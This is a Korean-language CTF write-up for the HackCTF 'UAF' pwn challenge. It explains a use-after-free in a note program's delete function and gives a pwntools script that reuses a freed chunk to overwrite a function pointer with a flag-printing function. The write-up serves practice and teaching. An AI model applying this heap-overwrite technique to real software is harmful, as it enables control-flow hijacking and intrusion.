pwn/HackCTF
UAF
lok2h4rd
2022. 3. 24. 17:51
바이너리를 열어보면 노트를 추가, 삭제, 출력 기능이 있다
add_note함수에서는 먼저 8만큼의 힙을 할당받은 뒤 노트에 문자열이 될 힙을 원하는 크기만큼 할당받는다
print_note_content함수 주소와 문자열이 있는 청크의 주소는 처음 할당된 청크에 저장되고 이 청크 주소를 notelist에 저장한다
notelist에서 원하는 인덱스의 노트를 삭제시킬 수있다 (add_note에서 할당된 청크를 free시킨다)
문자열 데이터가 저장된 청크를 먼저 free시키고 add_note에서 처음 할당받은 청크를 free시킨다
notlist에 저장된 청크에 있는 함수를(print_note_content) 호출한다
del_note함수에서 할당된 청크를 free할때 notelist의 주소를 비워주지 않기 때문에 uaf가 생길 수 있다
또한 notelist에 저장되는 청크의 크기가 고정되어 있기 때문에 재할당과정에서 notelist에서 참조하는 청크의 print_note_content함수를 플래그를 출력해주는 magic함수로 덮고 해당 uaf를 통해 magic함수가 적힌 인덱스를 print_note를 통해 magic함수가 호출시키면 된다
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3020)
#p = process("./uaf")
def add_note(size, data):
p.recvuntil(b":")
p.sendline(b"1")
p.recvuntil(b":")
p.sendline(str(size))
p.recvuntil(b":")
p.sendline(data)
def del_note(index):
p.recvuntil(b":")
p.sendline(b"2")
p.recvuntil(b":")
p.sendline(str(index))
def print_note(index):
p.recvuntil(b":")
p.sendline(b"3")
p.recvuntil(b":")
p.sendline(str(index))
magic = 0x08048986
add_note(32, b"AAAA")
add_note(32, b"AAAA")
del_note(0)
del_note(1)
add_note(8, p32(magic))
print_note(0)
p.interactive()